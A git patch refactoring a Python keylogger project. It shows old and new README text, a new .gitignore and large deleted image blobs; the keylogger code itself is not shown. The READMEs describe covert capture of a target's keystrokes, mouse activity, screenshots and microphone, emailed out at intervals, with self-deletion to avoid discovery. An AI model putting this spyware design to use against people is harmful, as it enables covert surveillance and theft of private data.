From c2a343980d366a3b8857752e32af2d98fccbff67 Mon Sep 17 00:00:00 2001 From: Filippo Piconese Date: Sun, 21 Jan 2024 19:31:42 +0100 Subject: [PATCH 01/24] Code refactoring, creation of .env and new README --- .github/FUNDING.yml | 12 -- .gitignore | 1 + README.md | 99 +++++++------ images/.gitattribute | 1 - images/1.png | Bin 15391 -> 0 bytes images/2.png | Bin 16211 -> 0 bytes "images/Ads\304\261z.png" | Bin 20750 -> 0 bytes keylogger.py | 288 +++++++++++++++++++------------------- requirements.txt | 8 +- 9 files changed, 196 insertions(+), 213 deletions(-) delete mode 100644 .github/FUNDING.yml create mode 100644 .gitignore delete mode 100644 images/.gitattribute delete mode 100644 images/1.png delete mode 100644 images/2.png delete mode 100644 "images/Ads\304\261z.png" diff --git a/.github/FUNDING.yml b/.github/FUNDING.yml deleted file mode 100644 index 7b42b92..0000000 --- a/.github/FUNDING.yml +++ /dev/null @@ -1,12 +0,0 @@ -# These are supported funding model platforms - -github: -patreon: user?u=32592056 -open_collective: # Replace with a single Open Collective username -ko_fi: # Replace with a single Ko-fi username -tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel -community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry -liberapay: # Replace with a single Liberapay username -issuehunt: # Replace with a single IssueHunt username -otechie: # Replace with a single Otechie username -custom: # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2'] diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..2eea525 --- /dev/null +++ b/.gitignore @@ -0,0 +1 @@ +.env \ No newline at end of file diff --git a/README.md b/README.md index 644a6fc..0d7a5a1 100644 --- a/README.md +++ b/README.md @@ -1,52 +1,47 @@ -# Inputs To Mail. -Get Keyboard,Mouse,ScreenShot,Microphone Inputs and Send to your Mail. -Purpose of the project is testing the security of information systems - -## INSTALLATION - -**You don't need to do anything for installation just run the script** - -![github-small](/images/Adsız.png) - -## USAGE - -•**Create an account on "https://mailtrap.io/" using a temp mail.** - -![github-small](https://github.com/aydinnyunus/WifiPassword-Stealer/blob/master/images/dene.png?raw=true) - - -•**Set your own SMTP USERNAME and SMTP PASSWORD on "keylogger.py".** - -•**pip install -r requirements.txt** - -•**python3 keylogger.py** - -•**Every 10 seconds,You Get the Data from the Target Computer** - -•**If Target finds the Code and Open the File for Want to Learn your MAIL and Password The Program DELETE itself.** - - -## ANTIVIRUS TEST - -![github-small](/images/1.png) - -![github-small](/images/2.png) - -However, if you've made some money using my tools or just want to encourage me to continue creating stuff, please consider giving back on -**BTC Wallet : 1NqDy1VdF5wkvxBcojbADWexPhPzza6LGF** my efforts and help it grow by buying me coffee - but only if you're definitely able to! 😊🎉 - ---- - -### Contact Me ! - -[](https://linkedin.com/in/yunus-ayd%C4%B1n-b9b01a18a/) [](https://github.com/aydinnyunus/WhatsappBOT) [](https://instagram.com/aydinyunus_/) [](https://twitter.com/aydinnyunuss) - - -## Another Projects : - -•**WHATSAPP BOT** : https://github.com/aydinnyunus/WhatsappBOT - -•**MACHINE LEARNING** : https://github.com/aydinnyunus/Machine-Learning - -•**FACE RECOGNITION SECURITY** : https://github.com/aydinnyunus/FaceRecognitionSecurity - +# Program objectives +This is a keylogger, use it for testing purposes. +You will gather keyboard strokes, mouse movements, screenshots and microphone input. +All the collected info will be sent via email every defined time interval. + +## Program phases + +### Imports + +- **logging**: Used for logging messages. +- **os**: Provides a way of using operating system-dependent functionality. +- **platform**: Provides an interface to various services that interact with the operating system. +- **smtplib**: Provides an SMTP client session to send emails. +- **socket**: Provides access to the underlying operating system's socket services. +- **threading**: Provides threading support. +- **wave**: Used for reading and writing WAV files. +- **pyscreenshot**: Captures screenshots. +- **sounddevice**: Provides an interface to play and record audio. +- **pynput**: Library for monitoring input devices. + +Note: you should run +```python +pip install -r requirements.txt +``` + +### Configuration + +Defines email address and password for sending logs. +For this project, I created an email account using [mailtrap](https://mailtrap.io). +Specifies the interval for sending reports (SEND_REPORT_EVERY). + +### KeyLogger Class + +- Monitors keyboard events using pynput library. +- Records mouse movements, clicks, and scrolls. +- Saves the logged data to a string (self.log). +- Sends email reports with logged data. +- Collects system information (hostname, IP address, processor, system, machine). +- Captures microphone input and sends it via email. +- Takes screenshots and sends them via email. +- The run method starts the keylogger by setting up keyboard and mouse listeners. +- Performs some cleanup actions based on the operating system if the target computer finds the code and open the file. In this way, the target cannot see your email and password. + +### Execution + +Creates an instance of the KeyLogger class with the specified email, password, and reporting interval. +Calls the run method to start the keylogger. diff --git a/images/.gitattribute b/images/.gitattribute deleted file mode 100644 index 8b13789..0000000 --- a/images/.gitattribute +++ /dev/null @@ -1 +0,0 @@ - diff --git a/images/1.png b/images/1.png deleted file mode 100644 index acdee4b56c19d88e0a4c7f4f709718ebe7194ec7..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 15391 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 IRV;)54>Y}lhyVZp diff --git a/images/2.png b/images/2.png deleted file mode 100644 index d3e2ec00f6794c8048e8e2a60eb207b4e7b44eea..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 16211 zcmeHuWmr_}-uECVj3`JWDKLbz(p^&04bqBqccY}_Fm!_=ozjhfgwow0-Gg)w?*jJ| zXFvO#=bSgcydSvM#l(u4HUD4U!HV*d5APG*2Z2BjrKMgdgFwjBAP~}fv^&5fXNDYX zzy`@dSyB{K+()tj{DWd5A}0a@eSxB18r}u|2ir<%Ieg0P^_+7ZUfzTgjG+_1+{%FH=KQBCBsF2;1vWBWdEuSu14 zUoXMo@MgqT^KvtAIv{mu2nn!R$HC(PHUqTu_P{1XL3J6}2&dOCst{p!Z|WFGSV?_yRe=||m|lP|&DF6R2zR!_UUh(y$r)B;@Arsd7dpnGkb8+Yaod{K zNLL%@iQJt^)X{&Lk=MvDu)H*w@($0DC=6bS5-0sjb@^*Z&r9EK_2s35Qsfy->46N& z^enrrl`3WCpN0?nBo6dX$n_gfo=Md`q@kMU#%VzlM&Fr>O9DP>%y$q|MOc4Kvt-&Z z8@tfw;lcgOgtuH=5h3cwnO}|%JIA1{RgrWDmyRskF;b`(T4|0E({B%aVaeg%i+Q+? zj>hNNO7|tgACn1v#8|T_M^PpxhlZ#KaKa-xf%AF^oR?bKknO^q)|7U>Ov>@JXALz6 z{({c}6+5Y(fb%CNw6Jwb(y0`XqX#u)MDRs=3UW0~OctIxCTPKuO)SX*toF?7t`EqY z15)n=^C?8=lj%2NUbwjI3X*-NFw8MkV$G*Xm_9z>?ByN)$lbQ{eVY0GUFbROLyH&0 zd0p?-5@Jyb?rwb&$!7}*)gZReAs66u9LpHg+~{QuuoB1ai3{X(jzZ!3DX{;-CigxS zMg2xx`-eAyIj^lN9^!IDJLwfF0Wt&P#g5=r)*B%HPJxJ;46BFWSPTiEOL*TD@&Q{9pWLtY$l7{dd>Qad(r^Has!-`2wkQLh=RI92Yz+IF8C{d2 zsJa`q^x)UYFcghwlyQWB{Z4dHn5*hp9G)IAUXYMg?luQbRp>(rQRk~QJM6$DnA8j{ zVV2pXHK)2;1#6oMYtrDyQk0&vP?gz~a_0b09UB8!9i3A@Y=xhrp3)@<+Mgwc_ek_3 zvXPW;fwb?|wF-lK@^;anAx8ab_EuhNRU+yr(-;g*;WHFJu-SX05ES%K^#ZFd*```S zVeSFVdC-sTAeX^K@{b4Q4B{xdbE8HKs8n2uDj&d|_$Dylp07|rP=DOV*|JE+Pr$_>Jf6~tkt@x zyAMIa*L`PrPb);Rb&%-oGw|GIg|4B<7g8hpx+tLa_=`lOxhIm^kd|U#YFVAR9-g;( z?|9vrjFoWvAcX>&Pz7etzs)oF(%^73SHJum2F>j}^WvCIKjLEsfh_Mu8Mx$jy}wA9 z^Gwsx|1q8d{RPY~DM$;dvwnml^Ojn9K@DnNLf3E?B#WO@Op({(p~ZX>Tx3I`sG)BON~%fx%ejCr$(NA$Oeef6UP ztJl5sg*H*@H=(#NJJ#q})@g{RVW56nK3BdYx1;->h8((zQkXGpP%)B6-_3|aZ*SnF 